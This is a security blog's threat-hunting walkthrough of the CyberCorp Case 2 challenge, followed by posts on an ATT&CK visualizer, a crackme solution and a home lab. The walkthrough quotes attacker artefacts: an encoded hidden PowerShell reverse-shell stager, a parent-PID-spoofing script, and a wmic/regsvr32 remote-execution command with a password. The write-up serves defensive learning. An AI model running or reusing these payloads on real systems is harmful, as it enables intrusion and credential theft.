My name is Karlo and I'm currently employed as a Cyber Security Engineer. I have an interest in threat hunting and malware analysis. I also work on cyber-security related programming projects like malware analysis tools and remote access tools.

Cyber Corp Case 2 Writeup - Part 3

in threat-hunting, cyberdefenders

The second case of the CyberCorp challenge on is all about threat hunting. Created by @BlackMatter23 and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.

This write-up is the third and final part of this walkthrough. You could read Part 1 here and Part 2 here.

Finding the post-reverse shell activity

Question 11. As a result of running a malicious code, which we talk about in questions 9 and 10, the attacker got a shell on the compromised host. Using this access, the attacker downloaded the Active Directory collection utility to the host in an encoded form. Specify a comma-separated, non-spaced link where the encoded version of the utility was downloaded and a SHA256 hash of the decoded version that was directly run by the attacker on the compromised host.

So from the question, I knew that the download happened after the reverse-shell was run. And so I changed the start date timestamp to Jun 22, 2021 @ 07:41:56.000. I also knew that because there was a downloaded file, there would definitely be "NetworkConnection" and "FileCreate" events that would happen afterward. And so, the query I've created is this:

event_type:FileCreate OR event_type:NetworkConnection


The result shows cmd.exe creating a certutil.exe process. And the reason why this is suspicious is that certutil.exe can be used as an alternative way of downloading files from an external source. You can read more about this here.

The next event shows certutil.exe establishing a connection to an external IP and downloading the file chrome_installer.log2:data. This tells us the first half of the answer to the question.

The next step is to find out the SHA256 of the decoded version of the downloaded file. I then updated the timestamp to Jun 22, 2021 @ 07:46:10.000, which is the time the file was downloaded, and then used the query:

event_type:ProcessCreate AND enrich.ioa.max_severity:*


We could see that cmd.exe created the process svchost.exe, but the suspicious thing is that the process' directory is c:\windows\temp\ which is highly unusual for svchost.exe to run from. We can easily assume that the previously downloaded chrome_installer.log2 was renamed to svchost.exe and this is the one that it ran. Getting the hash for this file will give us the second half of our answer to this question.

Finding the dump file

Question 12. During the post-exploitation process, the attacker used one of the standard Windows utilities to create a memory dump of a sensitive system process that contains credentials of active users in the system. Specify the name of the executable file of the utility used and the name of the memory dump file created, separated by a comma without spaces.

Without changing the date range and the query from the previous question, I continued to investigate the other events that have a value of high in its enrich.ioa.max_severity field. The event below happened a few seconds after the event from the previous question.


From the enrich.ioa.rules field we can see the value win_memory_dumping_via_comsvcs_minidump. What happened was that rundll32.exe executed the comsvs.dll and dumped the LSASS memory into a dump file. You can learn more about this technique here. Here is that technique visualized with my vATT&CK tool:


From the information above, we now have what we need to answer the question.

Detecting lateral movement

Question 13. Presumably, the attacker extracted the password of one of the privileged accounts from the memory dump we discussed in the previous question and used it to run a malicious code on one of the domain controllers. What account are we talking about? Specify its username and password as the answer in login:password format.

The first thing I wanted to find out was to figure out what the IP of the domain controller is. I knew that there is a Windows event ID 5308 (Microsoft-Windows-Group-Policy) that lists the domain controller details. So I made a query based on that and also added in search for the texts "domain" and "controller".

event_id:5308 AND ("domain" OR "controller")

And this gave me exactly what I was looking for:

Domain Controller details: 
    Domain Controller Name :
    Domain Controller IP Address :

Now that I know the IP, I can now search for any events related to this IP:

net_dst_ipv4: AND enrich.ioa.max_severity:*


As we can see, we have a wmic command that passes the username and password to the domain controller's IP. This answers question 13.

Side Quest: Tracing the next steps

I wanted to find out what exactly happens when the command line from the previous question is run:

wmic /node: /user:inventory /password:jschindler35 process call create 'regsvr32 /u /n /s /i: scrobj.dll'

From my research, I learned that this is using WMI to execute a process on a remote host. In this case, regsvr32 is called to execute the specified remote .sct file with scrobj.dll. More info about this technique here and here.


The second group

Question 14. A compromised user account is a member of two Built-in privileged groups on the Domain Controller. The first group is the Administrators. Find the second group. Provide the SID of this group as an answer.

To solve this, we'll be needing to make a search query with the following information that we got from the previous questions:

  • inventory - The name of the compromised user account
  • - The hostname of the domain controller
  • - IP of the domain controller

("inventory" OR "group") AND "" AND dev_ipv4: AND usr_tgt_name:Inventory

There will be a lot of entries, but the one below would have information that we need:


The event lists the group membership information for the user inventory. Within the field usr_token_groups we can see the following information:


Based on this and this, User Token Groups contains the list of security identifiers for groups and that it holds both direct group membership and recursive list of nested groups. This means that the answer to our question is included in that list.

I decided to search for any mention of the SID format S-1-.... So I changed the query to this:

"S-1-*" AND groups AND "" AND dev_ipv4:

This revealed a new type of event_type value which is InventoryInfo, as shown below:


This inventory info seems to be from an inventory collection tool, but I could not get more info more than that. What is important to us though is the dev_inventory field which contains:

    "sid": "S-1-5-32-544",
    "name": "BUILTIN\\Administrators",
    "members": [
        "CYBERCORP\\Enterprise Admins",
        "CYBERCORP\\Domain Admins",
    "sid": "S-1-5-32-551",
    "name": "BUILTIN\\Backup Operators",
    "members": [

The information above shows us two groups that contain inventory as one of their members. The question mentions something about Administrators being the first group, then that means the other group is none other than Backup Operators. Getting the sid of this is our answer to this question.

The Second Reverse Shell

Question 15. As a result of malicious code execution on the domain controller using a compromised account, the attacker got a reverse shell on that host. This shell used a previously not seen IP address as the command center. Specify its address as the answer.

My initial approach was I set the start date to Jun 22, 2021 @ 08:21:22.000 which is the timestamp when the attacker was able to run a remote code on the domain controller (See question #13). I also searched for event_type with a value of NetworkConnection and made sure that the events only happened in the domain controller's IP.

event_type:NetworkConnection AND dev_ipv4:

This, however, showed too many events. There are just too many network events and too little information in the question to sift through them all.

I knew from the hint that the format of the IP is XXX.XXX.XX.XX. This already helps a lot in narrowing our options, but I still wanted to find it without relying on the hint.

So I used a different approach. My thought process was to start from when the initial code was ran on the domain controller and go see what happened next. This code ran regsvr32 which executed an external script (See Question #13). We could use in our query, and so we get:

dev_ipv4: OR "regsvr32"

The results of this query was more revealing:


The very first entry is our wmic event that used regsvr32. This is followed by a PowerShell script accessing lsass.exe and also injecting code into svchost.exe.

I then continued down the list of events to check for any outbound network connections with an IP that has not been previously seen. Unfortunately, the events are still too many to go through. Looking at the Top 5 values also wasn't of too much help.

Going back to the list of events we can see that immediately following the wmic event, there is a powershell process that accesses lsass.exe. It also has a very interesting entry under the proc_cmdline field:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -noni -c "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIADES+14CA7VWa2+bSBT9nEj5D6iyBCiOjV03yUaqtIAhxrVTU2z8qlVhGMPEw6MwxCbd/ve9Y0OaqmnVrrQIiXnc57ln5rLJI5fiOOLc8Sfuy9npychJnZATau51nauF7iUST05guZYlLp1zbzlhKSdJNw4dHK1ubtQ8TVFEj/PGLaJylqFwTTDKBJH7h5sGKEUX79f3yKXcF672qXFL4rVDSrFCddwAcRdy5LG9Qew6LJiGlRBMBf7jR15cXrRWDe1z7pBM4K0ioyhseITwIvdVZA7HRYIEfojdNM7iDW1McfS63ZhEmbNBd2DtAQ0RDWIv40VIA94U0TyNuGNCzMJxX+BhOEpjV/a8FGUZX+eWzPZytfpbWJaOP+QRxSFqGBFFaZxYKH3ALsoaPSfyCPqANivQsmiKI38liiD2EG+RUItyQurcn5gR7tCugu13lYTnSiA1oqlYh0q+lOgw9nKCjqr8C5FC+UV4KgoAdF/PTs9ONxVbvOI5WWB0sjyMEcQmjOIMH6TeclKdG4ITh8ZpAdPaOM2RuHpClqt9dus/125VoiDoZrCwtGPsrUChrGVto07MkG38nJRdtMER6haRE2K34p3wEsBoQ9AhvUYldgcxCXy5gbwuIsh3KEOM1fkHNS3E9ElXyTHxUCq7UKQMooL6id8HcyyCwBvREIUA0HEOxKttgO2oki4ZXlTe2RyEeJU4WVbnRjkcN7fOWcghyKtzcpThckvOaXwY8t/CHeaEYtfJaGVuJT4BWTpU4yijae5C0SD5sZUgFzuEYVHnethDSmFhv3LMv4iE6hAChwAsPUAlYIUhYFFGhRRihLKLDQtRI0wICkHicOx14vhwyEuiH5jj+MjjfwiwIvKRtQyLCoRn4UGBLRLTOmfjlML1wXB1s//i+9mlcYxCTVFZB6E6GUuloIzRtfU9o2OJyCH/lELuehqHipOhy87xehBeNTXcfTPqxo8yPJr+wbQVa2IvjKHXJ5ZBrbmGB5MgMHDL8GFeTDR/RKXk3Xjc61vdnpx298FGNjJD6ymF2VJkt4ev7L4ymYAeVgfm/d6QPSX0Z/5c3RmjYGaAI3XgGz58FSNwFWkh+YqkqwNLCTQsyb5l9sxOa2E0r4mCHy3DknvTJ39PfrROpzfbj+W7YV8O9Pee3mrrB/0t019sbwdd7TB32dycZxrWwI+mz007QFM7UaaavjDtxPDPd75pD5odPVBg3cD7QWI14Wm1+g+R9zgk149DCNe0F32MFoaPCl82ZdmaR8Ra71RZ7V49JHPJ2OoTWNuOjWhvrpOhV8x7zb/sIUZJLJuaLOsEjmMoO7tuszWN35n2G3OiSftiIu132n1zp+H+blt+J7eXl35z0xk1bcuIek6gQLxFv7PF/XPYCx1bmm+aNsOvq0XNx2hGnJHaism62Zrg7pWiGBj174Yu+axAzmDjjbmO1bYbbCAmw782/VkctZ0t2J36MkQH+UGdN30DdJSc4O3kfMZs9XdS2N9LLM6wfw2xtcsYZBoZsybEJ/e6lhrdWsas7SFdaZ67b18xygJna1vvGRN/1j2GTpoFDgGGQleorgQ9TvXyph/FmGkIAvs/2KI0QgTaKzTg6ljJhMQu6zPQEqDDHfsOa4MTGL5uvzgSuSdB8VvzqZZubhYQIhzU9X1jgCKfBnVp/1qSoJdI+44E6f1+UmqcFAIYqrNOBIgcrZKDVZGd21p6dfW/wlTeFQF8vF/D9G3tF7u/BZ1UZ6n+sPj9wh/h+KdZTx1MQdCCm46gY5t9KfmSDs9+QKAcUO1N+bBfyPc5vbiD35Kz038BKGgg/awKAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

Decoding the base64 string would reveal a PowerShell script that has a hash that VirusTotal flags as malicious.


This is a good indication that this PowerShell process is up to no good. Now we need to find out what other things this process did. The process has a PID of 4460, so plugging that into a query we get:

(proc_id:4460 OR proc_p_id:4460 OR proc_c_id:4460 OR proc_tgt_id:4460) AND dev_ipv4:

And these are the results:


Looking at the external IP that the process is connecting to, we could see that this is something new that we have not seen before. Thankfully, I had been making a list of all internal and external IPs that I came across during the challenge (Just shows the importance of writing down every information you come across!). Plugging this IP is our solution to this problem.

There we have it. We've gone through and answered all 15 questions. Congratulations if you've made it this far!

If you missed it, you could read Part 1 here and Part 2 here.

I hope that I was able to help you in understanding the process of solving this challenge. I had a lot of fun going through and writing about it. Again, thank you to @BlackMatter23 and the team for sharing this challenge and to CyberDefenders for hosting it.

Cyber Corp Case 2 Writeup - Part 2

in threat-hunting, cyberdefenders

The second case of the CyberCorp challenge on is all about threat hunting. Created by @BlackMatter23 and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.

This writeup is part 2 out of multiple parts. You could read Part 1 here and Part 3 here.

Checking DNS Requests

Question 6. Specify the domain name of the resource from which the files mentioned in question 5 were supposedly downloaded as a result of malicious code execution.

This one is easy. Using the same date range from the previous question, I changed the query to event_type:DNSReq (where "DNSReq" is short for "DNS Requests").


We could easily see a DNS record being queried, which is our answer to this question.

Finding the encoded executable code

Question 7. The first file downloaded (as a result of executing the code in question 5) contained encoded executable code (PE), which after downloading was recorded in the registry. Specify an MD5 hash of the original representation of that code (PE).

I changed the query to registry hoping to see what events it will give me. Surprisingly, the very first one seems to be what we need.


Looking at this log I saw that it has a base64 encoded data under reg_value_data which is partially listed below:


I sent this data to CyberChef for decoding. Thankfully the rule_name field also informed me that the data is "gzipped", this allowed me to pick the correct recipes for decoding. The output is a malicious executable based on the MZ "magic-number" at the beginning of the file.

I downloaded the decoded data and then got the SHA256 hash of that file. This gave me the answer to the question.

Side Quest: Investigating the malware

I wanted to learn more about the malicious executable from the previous question so I decided to reverse engineer it, even though it was not part of the challenge.


Some interesting things about the file include the imported functions from kernel32 listed below:


And also a string for rundll32.exe. Looking for the usage of this string from within the code reveals this code segment:


Stepping through the code I was able to figure out that this executable is executing a process hollowing technique (T1055.012). What it does is that it injects the code pointed to by unk_180003000 into rundll32.exe and it would run that code instead of the original rundll32 code. You can find out more technical info about it here.

And of course, a screenshot of the technique using my visualization tool vATT&Ck.


The second downloaded file

Question 8. The second file downloaded (as a result of code execution, which we talked about in question 5) was a script, that was set up to autostart via WMI Subscription. Specify the SHA256 hash of this script.

I already knew of the script that is set to start via WMI subscription from a previous question, and that is C:\\Users\\john.goldberg\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.ps1. So I immediately crafted my query to the one below:

"MSO1033.ps1" AND event_type:FileCreate

While the above query shows events where the MSO1033.ps1 was being created. There was no associated hash in the logs. This forced me to look elsewhere by updating the query to:

"MSO1033.ps1" AND (event_type:FileCreate OR event_type:FileOpen)

And from here it showed me an event associated with MSO1033.ps1 that also has a sha256 hash.


The most difficult question

Question 9. The script, mentioned in question 8, spawned one of the legitimate system processes and injected into its memory a malicious code that was read and decoded from the registry (this code was mentioned in question 7). This malicious code migrated through a chain of code injections to the address space of another legitimate process, where it continued to run without further migration. For this answer, provide the next data, separated by a comma without spaces:

  • PID of the initial legitimate system process, which was spawned by the script and where this script launched in-memory execution of malicious code;

  • PID of the target process, to which malicious code migrated from the initial process and in the context of which attacker performed different post-exploitation activity

Out of all the questions in this challenge, this is the question that took me a long time to figure out. The question has a lot of threads of information that it is easy to fall into a trap of chasing a lead that doesn't go anywhere.

When all of my ideas were exhausted, I decided to give in and look for a hint. Thankfully, Vikas from the CyberDefender's Discord group shared one.


Initially the line "if you happen to see the PS script there are mentions of PID spoofing" did not immediately register with me, but after thinking about it some more I realized that it meant that the "PID spoofing" is written inside the script itself! This script is MSO1033.ps1 which was part of the previous questions.

And so I updated my query with the one below:

"MSO1033.ps1" AND event_type:ScriptExecution AND enrich.ioa.max_severity:*

Which showed the following results:


The reason why the following events are interesting is that they contain the script inside the script_text value. Since the script is too long the events are split into 7 events as indicated by the [1 of 7] in the description. I then copied all the script_text entries and placed them into one file so I can easily review the code.

The hint mentioned something about pid spoofing so I searched for the word spoof in the code and found this part right here.

[int]$ppid = Get-Process -Name "winlogon" | Select -expand ID
$spawnTo = "c:\Windows\System32\dwm.exe"
$currdir = "c:\Windows\System32"
$cmdline = "dwm.exe"
$sInfo = New-Object StartupInfo
$sInfoEx = New-Object STARTUPINFOEX
$SecAttr.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
$sInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($sInfoEx)
$lpSize = [IntPtr]::Zero
$sInfoEx.StartupInfo = $sInfo
$hSpoofParent = [Kernel32]::OpenProcess(0x1fffff, 0, $ppid)
$lpValue = [IntPtr]::Zero
$lpValue = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size)
[System.Runtime.InteropServices.Marshal]::WriteIntPtr($lpValue, $hSpoofParent)
$result1 = [Kernel32]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$lpSize)
$sInfoEx.lpAttributeList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($lpSize)
$result1 = [Kernel32]::InitializeProcThreadAttributeList($sInfoEx.lpAttributeList, 1, 0, [ref]$lpSize)
$result1 = [Kernel32]::UpdateProcThreadAttribute($sInfoEx.lpAttributeList, 
$result1 = [Kernel32]::CreateProcess($spawnTo, 
                                     [ref] $sInfoEx, 
                                     [ref] $pInfo)

Reading the code we could see a couple of interesting things:

  • A call to CreateProcess function with a reference to $spawnTo
  • $spawnTo set to c:\Windows\System32\dwm.exe
  • The line with $hSpoofParent using the variable $ppid
  • $ppid is set to a process with the name winlogon

My research on the above findings pointed me to the Parent PID Spoofing technique (T1134.004). This is used for evading detection by spoofing the PID to a different process. What is happening, in this case, is that dwm.exe would now appear to be a child process of winlogon.exe instead of the PowerShell script. Brilliant!

Also, not shown in the snippet above, the registry key for AppXs42fd12c3po92dynnq2r142fs12qhvsmvv is also read and decoded. This means that our executable file that contains the rundll32.exe string is also involved in this. Later on, it will be revealed what this is for.

Now that we know what the script does, we can now search for any mention of winlogon.exe and dwm.exe using the query below:

(winlogon.exe OR dwm.exe) AND enrich.ioa.max_severity:* AND event_type:ProcessCreate

This, however, showed more than one result.


Which among these is the PID pair that the challenge author is looking for?

Looking at all the multiple events, it seems that the script has been executed multiple times so it's hard to determine which is the correct event. All of them were executed successfully, but I found that only one of them was able to create the rundll32.exe process.


The process id of the dwm.exe in the screenshot above shows 8876. Using this information, we can go back to the previous query and find exactly which PID pairs that we need to answer the question.

Getting the malicious IP

Question 10. The malicious code run by the script is a Reverse Shell. Identify the IP address and port number of its command center.

Aha! So the malicious code that we inspected before, the one that does process hollowing, is now running inside rundll32.exe and is running as a reverse shell!

I already knew the process ID of our malicious rundll32.exe so we include that in our query:

8344 AND event_type:NetworkConnection

This will reveal an event with the process chain of dwm.exe > rundll32.exe which also establishes a connection to an external IP. This is our answer to this question.


Understanding the sequence of events

For the benefit of everyone (including me), I have outlined the timeline of events below to serve as a reference just in case you get confused and overwhelmed:

  • Jun 22, 2021 @ 07:25:47.000 - WMI Subscription
  • Jun 22, 2021 @ 07:41:15.000 - MSO1033.ps1 (7324) was executed
  • Jun 22, 2021 @ 07:41:55.000 - winlogon.exe (1160) is now the spoofed parent process of dwm.exe (8876) instead of MSO1033.ps1
  • Jun 22, 2021 @ 07:41:56.000 - dwm.exe (8876) creates the process rundll32.exe (8344), which is hollowed out and now runs as a reverse shell
  • Jun 22, 2021 @ 07:41:56.000 - rundll32.exe (8344) establishes connection to malicious IP

Hopefully, I was able to make everything clear. Expect the next part of this write-up very soon.

The next couple of questions deals with lateral movement and interactions with the domain controller so it would be very interesting to go through my findings in detail.

Cyber Corp Case 2 Writeup - Part 1

in threat-hunting, cyberdefenders

The second case of the CyberCorp challenge on is all about threat hunting. Created by @BlackMatter23 and his team, this challenge is based on a real-world attack so it is perfect for gaining practical experience in threat hunting.

This writeup is part one out of multiple parts as I will be detailing my thought process and the steps I took for each question.

Edit: Part 2 and Part 3 is now out.

Understanding WMI Persistence

Question 1. The Threat Hunting process usually starts with the analyst making a hypothesis about a possible compromise vector or techniques used by an attacker. In this scenario, your initial hypothesis is as follows: "The attacker used the WMI subscription mechanism to obtain persistence within the infrastructure". Verify this hypothesis and find the name of the WMI Event Consumer used by the attacker to maintain his foothold.

So the question tells us that the attacker used WMI subscription to gain persistence in our network.

The very first thing I did was to check the Mitre ATT&CK wiki for information about this attack. My search led me to the "Event Triggered Execution: Windows Management Instrumentation Event Subscription" with technique ID T1546.003. And, of course, I fired up my vATT&CK tool to better visualize the technique and its related information.


Testing WMI Persistence in my homelab

Now that I understand the concept I then checked the technique's entry in the Atomic Red Team's repository of adversary emulation techniques. The nice thing about Atomic Red Team is that they have easy-to-follow step-by-step instructions on how to emulate Mitre ATT&CK techniques.

I took the code on the page and ran it in my homelab. I then fired up Windows Event Viewer and looked for entries with event log ID "5681 (WMI activity)". The entry that I found contains the information below:

Namespace = //./root/subscription; Eventfilter = AtomicRedTeam-WMIPersistence-Example (refer to its activate eventid:5859); Consumer = CommandLineEventConsumer="AtomicRedTeam-WMIPersistence-Example"; PossibleCause = Binding EventFilter: 
instance of __EventFilter
    CreatorSID = {1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 96, 158, 195, 131, 63, 242, 87, 184, 137, 245, 68, 134, 233, 3, 0, 0};
    EventNamespace = "root\\CimV2";
    Name = "AtomicRedTeam-WMIPersistence-Example";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325";
    QueryLanguage = "WQL";
Perm. Consumer: 
instance of CommandLineEventConsumer
    CommandLineTemplate = "C:\\Windows\\System32\\notepad.exe";
    CreatorSID = {1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 96, 158, 195, 131, 63, 242, 87, 184, 137, 245, 68, 134, 233, 3, 0, 0};
    Name = "AtomicRedTeam-WMIPersistence-Example";

Since I have Sysmon logging enabled, I also double-checked the logs using the Sysmon event IDs below:

  • Event ID 19: WmiEvent (WmiEventFilter activity detected)
  • Event ID 20: WmiEvent (WmiEventConsumer activity detected)
  • Event ID 21: WmiEvent (WmiEventConsumerToFilter activity


As we can see, Sysmon separates the WMIEvents into the different types of WmiEvent activities.

Now that I know what the important IOCs are, I could now create the query to answer the first question of the challenge.

  • 5861
  • ("QueryLanguage = " AND "Consumer = ")

When the above information is combined, I get the query 5861 OR ("QueryLanguage = " AND "Consumer = "). Putting this in the Kibana search shows us the one and only entry:


From there we could easily see the name of the WMI Event Consumer.

Looking for the WMI subscriber

Question 2. In the previous step, you looked for traces of the attacker's persistence in the compromised system through a WMI subscription mechanism. Now find the process that installed the WMI subscription. Answer the question by specifying the PID of that process and the name of its executable file, separated by a comma without spaces.

Reading the question above, I knew that I needed to look for a process that has happened prior to the WMI subscription. And so, I've set the date range to reflect this.


I wasn't so sure what to look for next so I just looked out for anything suspicious. Thankfully there is the enrich.ioa.* set of fields where enrichment is done that indicate suspiciousness. I've set a filter to show entries that have enrich.ioa.max_severity to exists. This means it'll only show events that are either high, medium, or low.

These showed some very interesting events:


It seems like winword.exe is connecting to an external IP. Very suspicious. Searching the IP on VirusTotal reveals that it is indeed malicious.


If we look at more of the events we will find that there are a lot of malicious activity with the proc_cmdline that contains the value:

"C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /n "C:!Work\Marketing\Docs\OPEC\OPEC crude oil production.docx" /o ""

Having seen all of that we can now safely assume that this is the process that we are looking for. Entering the proc_id along with the proc's file name satisfies question number 2.

Looking for the extracted archive

Question 3. The process described in the previous question was used to open a file extracted from the archive that the user received by email. Specify a SHA256 hash of the file extracted and opened from the archive.

The question said something about a file being opened, and so I added the filters event_type: FileOpen and proc_file_path: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE to see what files were opened using Word.exe prior to the WMI subscription. This however showed a lot of files.


The question also mentioned that the opened file was extracted from an archive received by email. So I added the query *zip* OR *rar* to find out if there are any "zip" or "rar" files that were processed.

Sure enough, there was, and one particular really stood out.

Process 'c:\program files (x86)\microsoft office\office16\outlook.exe' created file 'c:\users\john.goldberg\appdata\local\microsoft\windows\inetcache\content.outlook\dfn3sfep\'

This tells us that the archive was opened via email using the program outlook.exe.

But what was the generated file when the archive was opened? Looking through the results we could also see one entry that had the enrich.chain with the value of:

'c:\windows\explorer.exe' ➔ 'c:\program files (x86)\microsoft office\office16\winword.exe' ➔ 'c:\users\john.goldberg\appdata\local\temp\\market forecast emea.docx'`.

"Market forecaste emea.docx" was opened via "winword.exe" and we could also see that the temporary folder for it is Entering the hash for this "docx" file was the correct answer for this question.

Finding the actual malicious file

Question 4. The file mentioned in question 3, is not malicious in and of itself, but when it is opened, another file is downloaded from the Internet that already contains the malicious code. Answer the question by specifying the address, from which this file was downloaded, and the SHA256 hash of the downloaded file, separated by commas without spaces.

If we think about it, we can make the date range smaller by starting our range from when the Zip is extracted and from when the WMI subscription happened.


There are three "action" keywords specified in the question that I knew I could filter for. This led me to use the query below:

event_type:NetworkConnection OR event_type:FileOpen OR event_type:FileCreate

What I'm looking for is an event where there is a "NetworkConnection" and a "FileCreate" event (these two signify another file is downloaded from the internet), the "FileOpen" is when the file has been opened and therefore triggered the WMI subscription.

As you can see in the image below, we have a series of events that shows us the three events that we are looking for in the previous paragraph. But because their timestamps are the same, they are all jumbled.


The way to see if the events happened in the order that we want (Network Connection > FileCreate > FileOpen), then what we can do is to view the surrounding documents on one of the events and see from there. From the image below, we see that the ordering of the events is indeed correct.


The above tells us two of the answers that we need to answer the 4th question. The IP on the network connection and the hash of the file that was opened.

Finding the tricky technique

Question 5. The malicious code from the file, mentioned in question 4, directly installed a WMI subscription, which we started our hunting with, and also downloaded several files from the Internet to the compromised host. For file downloading, the attacker used a tricky technique that gave him the opportunity to hide the real process, which initiated the corresponding network activity. Specify the SHA256 hash of the operating system component whose functionality was used by the attacker to download files from the Internet.

So the event that the question is looking for happened after the WMI subscription. I've updated the date range to reflect this.


Initially, I tried doing the same approach as I did before where I would pick up certain "action" keywords from the question. Something similar to the query below:

(event_type:NetworkConnection OR event_type:FileCreate) AND enrich.ioa.max_severity:*

Sadly, no matter where I looked it doesn't seem to be what the question is looking for.

And so, I had to start my search from scratch but this time only focusing on any entries after the WMI subscription that have an existing value in enrich.ioa.max_severity. This approach worked and it showed me this very interesting entry marked as win_unusual_ie_com_dll_host_process.


So apparently, "winword.exe" loaded the library "iexproxy.dll", which allowed it to use "iexplore.exe" in downloading several files from the internet. This technique is unfamiliar to me and researching about it only showed an article from Cyber Polygon. I'll try to explore this in the future, but at least for now. I have the answer to the question.

This is part 1 of my write-up for this challenge. Expect the next part which would have the answer to the question that a lot of people have difficulty answering, which is #9. Until then!

Edit: Part 2 and Part 3 is now out.

New Tool Preview: vATT&CK

in tools, cybersecurity

I have released a new cybersecurity-related tool called vATT&CK (Visual ATT&CK). It is a relationship visualizer for the Mitre ATT&CK framework.


What the tool does is that it makes a visual map of the searched technique and all the related information. You can watch a video of the tool in action here.

Each node will be colored depending on it's category. The color legends is as follows:

  • Pink - Related subtechniques
  • Orange - Malware that uses the searched technique
  • Red - Groups that uses the searched technique
  • Blue - Tools that use the searched technique
  • Yellow - Mitigations

This tool is still in development. I plan to add a number of improvements such as:

  • Ability to click on nodes and then update the visual map
  • Ability to search not just by technique, but also by other categories

I also plan on releasing a live demo of the tool very soon in the hopes of getting feedback from the community.

For now, if you are interested in the project, you could visit the tool's Github project page or contact me for any comments or suggestions.

IOLI Crackme 0x04

in re, crackme

I am continuing my reverse engineering review by tackling the IOLI crackmes by @pof. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeups for 0x00, 0x01, 0x02, and 0x03.

Getting the password

Loading the program in IDA revealed something new. There is now a _check function that when opened looks more complicated than the previous challenges.


The one thing that I immediately noticed is the call to the _strlen function similar to the previous challenge. This means that the length of the input string plays another important role.

One curious thing is the condition that leads to the "Password Incorrect" block, as shown below.


call _strlen
cmp [ebp+var_C], eax
jnb short loc_401387

From the looks of it, the check will fail if var_C (Which is our var_counter from the previous challenge) reaches the length of the entered string. If you think about it, this means that it doesn't matter how long the string that the user inputs. What's important is the content.

To find out what the correct content the program expects, we need to look at the other block of code.


The code uses the same approach as the previous challenge where var_counter is used to loop through individual characters in the input string.

The part that is new is the use of the _sscanf function which is defined as:

"sscanf reads data from s and stores them according to parameter format into the locations given by the additional arguments, as if scanf was used, but reading from s instead of the standard input (stdin)."

Looking at how the function _sscanf is used, it gets each character in the input string and converts them to decimal integers. This means that the password can only contain the numbers 0 through 9. The reason for this is because the result is added to another value at the line add [eax], edx.

This "other value" is the converted integer value from previous loops. This means that the algorithm adds each number from the input string after every loop. For example, an input string of 123 translates to 1+2+3 where the computed sum is saved to var_8.

Finally, there is the line cmp [ebp+var_8], 0Fh, which tells us that the program expects the computed sum to be equal to 0Fh or 15. So as long as we enter numbers that would equal to 15 when combined, then we are good.


Patching the executables

Patching the executable is different this time around. If on previous challenges we patched the program by changing an conditional opcode to a jmp (74 to EB), for this one we only need to change the conditional to a no op instruction (00).


As you can see, the line cmp [ebp+var_8] and the conditional branch disappears allowing us to go directly to the "Password OK" part of the code.


On to the next challenge...

I liked this challenge mostly because it changed the passwords the program expects. The first time I tackled this challenge I used purely static analysis. I thought I got the answer only to realize that I was wrong by debugging the code. We have 5 more challenges to go!

Building my Virtual Cybersecurity Home Lab

in malware, dev

I have recently realized that one part of cybersecurity that I am lacking basic knowledge on is networking. I honestly did not think it was important when I was starting. It was the reason why I skipped Network+ so I could take Security+ directly.

Now I know better.

Ever since my realization, I have taken steps to patch the holes in my knowledge. I've started taking courses and bought books. But one thing that has made the most impact is me building my very own "homelab".

I first came to know of the concept of homelabs from Reddit. To those unfamiliar, it is the practice of building a networked environment to gain practical knowledge in networking and IT. One way to do this is by making a virtual network.

And so, over the past month, I have been building my very own virtual homelab with a focus on integrating cybersecurity products.

The Lab

The network diagram below shows the current implementation of my lab. I will be discussing each part to give an idea of their purpose (Click here for a bigger version).


At the heart of the network is a firewall running pfSense. Its purpose is to ensure that each sub-network is separated and protected, and also to protect my virtual host from any malware outbreaks. This machine also serves as a DHCP and NTP server to all the machines in the network.


The Target Network

On the right side of the diagram is the "Target" network where workstations and vulnerable servers reside. These are the machines that I use to attack with exploits and malware.


I have Metasploitable 2 and Metasploitable 3 machines that have various services turned on to play around with. I can learn about specific attacks by exploiting this machine, but I can also don my defenders hat and learn about how to secure them.

The Windows and Linux machines will serve as typical workstations for various experiments.

One of the perks of my job is that I get to play with different cybersecurity solutions. I currently have access to a few that I am able to use on my lab for testing.

One solution that I am using right now is an EDR (Endpoint Detection and Response) (Sorry, I can't reveal which). Each machine has an EDR agent deployed which monitors for any malicious activities on the host. It has an anti-virus feature, anti-ransomware, and fileless attack monitoring. It's awesome stuff but I have yet to maximize this.

An IDS (intrusion Detection System) running Snort monitors the traffic for any malicious activity. Signatures are constantly updated to ensure that I can detect the latest types of attack. If it finds anything important, it then sends an alert to a SIEM (running Splunk) on the Management network.


The Management Network

On the left side of the diagram is the Managemnet network. This is where the management part of the EDR, IDS, and the SIEM can be accessed from my virtual host.


There's nothing special about this network, I do want to note though that I find it interesting the Snort IDS has two interfaces. One is used for access to the management page, and the other is for sniffing traffic on the Attacker network.

The Operations Network

At the bottom side of the diagram is the "Operations" network.

A machine running Kali is placed here. I can launch attacks from this machine towards the vulnerable machines on the Target network. This machine also has OpenVAS scanner that helps in discovering vulnerabilities on the target machines.


A windows machine serves as my malware analysis lab. It contains a lot of malware analysis tools to aid with investigations.

